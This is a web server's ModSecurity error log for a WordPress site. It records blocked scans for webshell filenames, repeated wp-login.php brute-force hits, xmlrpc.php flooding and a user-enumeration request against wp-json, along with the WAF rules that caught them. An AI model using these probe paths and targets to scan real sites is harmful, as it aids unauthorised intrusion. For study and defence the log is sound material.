[Thu May 07 00:33:23.214772 2026] [:error] [pid 9789:tid 9798] [client 20.104.207.18:27472] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/99.php"] [unique_id "afttUz_YStPJSCHPkUXD9wAAAEc"]
[Thu May 07 00:33:23.676577 2026] [:error] [pid 9653:tid 9716] [client 20.104.207.18:27554] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layout.php"] [unique_id "afttU6hJ49Xc4dqq0B5ZVAAAABI"]
[Thu May 07 00:33:24.129881 2026] [:error] [pid 482:tid 492] [client 20.104.207.18:27494] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layout.php"] [unique_id "afttVMxs8HOc_nWgOW6JPwAAAcg"]
[Thu May 07 00:33:24.570170 2026] [:error] [pid 9789:tid 9799] [client 20.104.207.18:27405] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layout.php"] [unique_id "afttVD_YStPJSCHPkUXD_QAAAEg"]
[Thu May 07 00:33:25.024131 2026] [:error] [pid 482:tid 488] [client 20.104.207.18:27403] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layout.php"] [unique_id "afttVcxs8HOc_nWgOW6JQQAAAcQ"]
[Thu May 07 00:33:25.445800 2026] [:error] [pid 482:tid 510] [client 20.104.207.18:27510] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "afttVcxs8HOc_nWgOW6JQgAAAdg"]
[Thu May 07 00:33:25.933060 2026] [:error] [pid 9653:tid 9721] [client 20.104.207.18:27337] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "afttVahJ49Xc4dqq0B5ZVgAAABc"]
[Thu May 07 00:33:26.364193 2026] [:error] [pid 9789:tid 9793] [client 20.104.207.18:27640] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "afttVj_YStPJSCHPkUXEAQAAAEI"]
[Thu May 07 00:33:26.789759 2026] [:error] [pid 592:tid 615] [client 20.104.207.18:27393] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/12.php"] [unique_id "afttVpiX28mb6xLi2PzBmQAAApE"]
[Thu May 07 00:33:27.216857 2026] [:error] [pid 13414:tid 13436] [client 20.104.207.18:27504] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "afttV0uJQpWjVpJTu_k1egAAARQ"]
[Thu May 07 00:33:27.673903 2026] [:error] [pid 9789:tid 9802] [client 20.104.207.18:27474] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "afttVz_YStPJSCHPkUXEBQAAAEs"]
[Thu May 07 00:33:28.153568 2026] [:error] [pid 9789:tid 9798] [client 20.104.207.18:27426] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "afttWD_YStPJSCHPkUXECAAAAEc"]
[Thu May 07 00:33:28.599449 2026] [:error] [pid 13443:tid 13452] [client 20.104.207.18:27475] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "afttWACyfZallDmsQretVwAAAUc"]
[Thu May 07 00:33:29.060956 2026] [:error] [pid 592:tid 611] [client 20.104.207.18:27412] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/insta.php"] [unique_id "afttWZiX28mb6xLi2PzBmwAAAo8"]
[Thu May 07 00:33:29.473924 2026] [:error] [pid 13443:tid 13450] [client 20.104.207.18:27483] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/insta.php"] [unique_id "afttWQCyfZallDmsQretWgAAAUU"]
[Thu May 07 00:33:29.913078 2026] [:error] [pid 9789:tid 9796] [client 20.104.207.18:27465] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/insta.php"] [unique_id "afttWT_YStPJSCHPkUXECgAAAEU"]
[Thu May 07 00:33:30.355655 2026] [:error] [pid 13414:tid 13419] [client 20.104.207.18:27392] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/insta.php"] [unique_id "afttWkuJQpWjVpJTu_k1ewAAAQM"]
[Thu May 07 00:33:30.790156 2026] [:error] [pid 9664:tid 9763] [client 20.104.207.18:27391] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "afttWgH4OZbrg1SjsBNpRAAAAIE"]
[Thu May 07 00:33:31.265561 2026] [:error] [pid 63810:tid 63830] [client 20.104.207.18:27450] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "afttW3pnbsN9Zf6i5IFMhwAAAZA"]
[Thu May 07 00:33:31.713452 2026] [:error] [pid 482:tid 510] [client 20.104.207.18:27398] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "afttW8xs8HOc_nWgOW6JXAAAAdg"]
[Thu May 07 00:33:32.190704 2026] [:error] [pid 9789:tid 9794] [client 20.104.207.18:27349] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "afttXD_YStPJSCHPkUXEDQAAAEM"]
[Thu May 07 00:33:32.636999 2026] [:error] [pid 9664:tid 9780] [client 20.104.207.18:27509] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws81.php"] [unique_id "afttXAH4OZbrg1SjsBNpRwAAAJI"]
[Thu May 07 00:33:33.074400 2026] [:error] [pid 9789:tid 9809] [client 20.104.207.18:27399] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws81.php"] [unique_id "afttXT_YStPJSCHPkUXEDwAAAFI"]
[Thu May 07 00:33:33.518709 2026] [:error] [pid 13443:tid 13466] [client 20.104.207.18:27505] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws81.php"] [unique_id "afttXQCyfZallDmsQretWwAAAVU"]
[Thu May 07 00:33:33.991555 2026] [:error] [pid 482:tid 495] [client 20.104.207.18:27424] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws81.php"] [unique_id "afttXcxs8HOc_nWgOW6JYgAAAcs"]
[Thu May 07 00:33:34.439880 2026] [:error] [pid 592:tid 609] [client 20.104.207.18:27563] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "afttXpiX28mb6xLi2PzBoAAAAo0"]
[Thu May 07 00:33:34.883761 2026] [:error] [pid 482:tid 489] [client 20.104.207.18:27506] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "afttXsxs8HOc_nWgOW6JZgAAAcU"]
[Thu May 07 00:33:35.335354 2026] [:error] [pid 482:tid 496] [client 20.104.207.18:27448] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "afttX8xs8HOc_nWgOW6JZwAAAcw"]
[Thu May 07 00:33:35.811284 2026] [:error] [pid 557:tid 570] [client 20.104.207.18:27388] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "afttXzZjFR8Vd8ce80A7wQAAAks"]
[Thu May 07 00:33:36.254290 2026] [:error] [pid 592:tid 607] [client 20.104.207.18:27681] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xfile25.php"] [unique_id "afttYJiX28mb6xLi2PzBoQAAAos"]
[Thu May 07 00:33:36.684102 2026] [:error] [pid 9789:tid 9796] [client 20.104.207.18:27556] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xfile25.php"] [unique_id "afttYD_YStPJSCHPkUXEEQAAAEU"]
[Thu May 07 00:33:37.104419 2026] [:error] [pid 482:tid 503] [client 20.104.207.18:27538] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xfile25.php"] [unique_id "afttYcxs8HOc_nWgOW6JawAAAdM"]
[Thu May 07 00:33:37.583586 2026] [:error] [pid 9653:tid 9705] [client 20.104.207.18:27341] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xfile25.php"] [unique_id "afttYahJ49Xc4dqq0B5ZYgAAAAc"]
[Thu May 07 00:36:43.725387 2026] [:error] [pid 9789:tid 9795] [client 137.184.229.126:52946] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aftuGz_YStPJSCHPkUXFLgAAAEQ"]
[Thu May 07 00:46:35.526031 2026] [autoindex:error] [pid 9653:tid 9706] [client 168.144.88.199:48340] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://rcacivilgroup.com/wp-content/themes/
[Thu May 07 00:46:37.666217 2026] [autoindex:error] [pid 9653:tid 9722] [client 168.144.88.199:48340] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://rcacivilgroup.com/wp-content/themes/
[Thu May 07 00:46:40.275371 2026] [autoindex:error] [pid 9653:tid 9718] [client 168.144.88.199:48340] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/plugins/contact-form-7/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://rcacivilgroup.com/wp-content/plugins/elementor/
[Thu May 07 00:46:42.417558 2026] [autoindex:error] [pid 9653:tid 9712] [client 168.144.88.199:48340] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/plugins/contact-form-7/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://rcacivilgroup.com/wp-content/plugins/elementor/
[Thu May 07 00:53:07.057560 2026] [:error] [pid 13414:tid 13419] [client 137.184.229.126:60185] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aftx80uJQpWjVpJTu_k3zwAAAQM"]
[Thu May 07 01:08:44.649102 2026] [:error] [pid 9789:tid 9800] [client 43.153.15.51:45692] [client 43.153.15.51] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aft1nD_YStPJSCHPkUXMawAAAEk"]
[Thu May 07 01:09:24.659657 2026] [:error] [pid 13414:tid 13419] [client 137.184.229.126:62526] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aft1xEuJQpWjVpJTu_k51QAAAQM"]
[Thu May 07 01:25:57.992786 2026] [:error] [pid 592:tid 605] [client 137.184.229.126:55304] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aft5pZiX28mb6xLi2PzGnAAAAok"]
[Thu May 07 01:42:40.517283 2026] [:error] [pid 9664:tid 9764] [client 137.184.229.126:58173] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aft9kAH4OZbrg1SjsBN2FgAAAII"]
[Thu May 07 01:59:20.777066 2026] [:error] [pid 13443:tid 13448] [client 137.184.229.126:54149] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afuBeACyfZallDmsQre1QQAAAUM"]
[Thu May 07 02:16:07.275984 2026] [:error] [pid 9789:tid 9812] [client 137.184.229.126:56495] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afuFZz_YStPJSCHPkUXY9QAAAFU"]
[Thu May 07 02:32:53.098931 2026] [:error] [pid 482:tid 493] [client 137.184.229.126:54178] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afuJVcxs8HOc_nWgOW6rawAAAck"]
[Thu May 07 02:34:52.581171 2026] [:error] [pid 9653:tid 9703] [client 35.230.56.232:59307] [client 35.230.56.232] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "afuJzKhJ49Xc4dqq0B6D0gAAAAU"]
[Thu May 07 02:34:53.703732 2026] [:error] [pid 9653:tid 9717] [client 35.230.56.232:59307] [client 35.230.56.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.230.56.232, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afuJzahJ49Xc4dqq0B6D2QAAABM"]
[Thu May 07 02:34:54.793045 2026] [:error] [pid 9659:tid 9740] [client 35.230.56.232:53898] [client 35.230.56.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.230.56.232, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afuJzvwJnWjd8JHpBtu-nQAAAMY"]
[Thu May 07 02:34:56.022346 2026] [:error] [pid 13414:tid 13416] [client 35.230.56.232:53918] [client 35.230.56.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.230.56.232, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afuJ0EuJQpWjVpJTu_lEvAAAAQA"]
[Thu May 07 02:34:57.064171 2026] [:error] [pid 9664:tid 9776] [client 35.230.56.232:61168] [client 35.230.56.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.230.56.232, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afuJ0QH4OZbrg1SjsBOJcQAAAI4"]
[Thu May 07 02:34:57.064364 2026] [:error] [pid 9664:tid 9776] [client 35.230.56.232:61168] [client 35.230.56.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.230.56.232, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afuJ0QH4OZbrg1SjsBOJcQAAAI4"]
[Thu May 07 02:49:44.564341 2026] [:error] [pid 9664:tid 9778] [client 137.184.229.126:65009] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afuNSAH4OZbrg1SjsBOPDAAAAJA"]
[Thu May 07 03:06:26.368962 2026] [:error] [pid 13443:tid 13448] [client 137.184.229.126:60292] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afuRMgCyfZallDmsQre9NAAAAUM"]
[Thu May 07 03:23:17.839195 2026] [:error] [pid 9653:tid 9703] [client 137.184.229.126:52789] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afuVJahJ49Xc4dqq0B6Q5AAAAAU"]
[Thu May 07 03:32:24.050134 2026] [:error] [pid 9659:tid 9744] [client 189.178.11.73:49994] [client 189.178.11.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.178.11.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afuXSPwJnWjd8JHpBtvIgQAAAMo"]
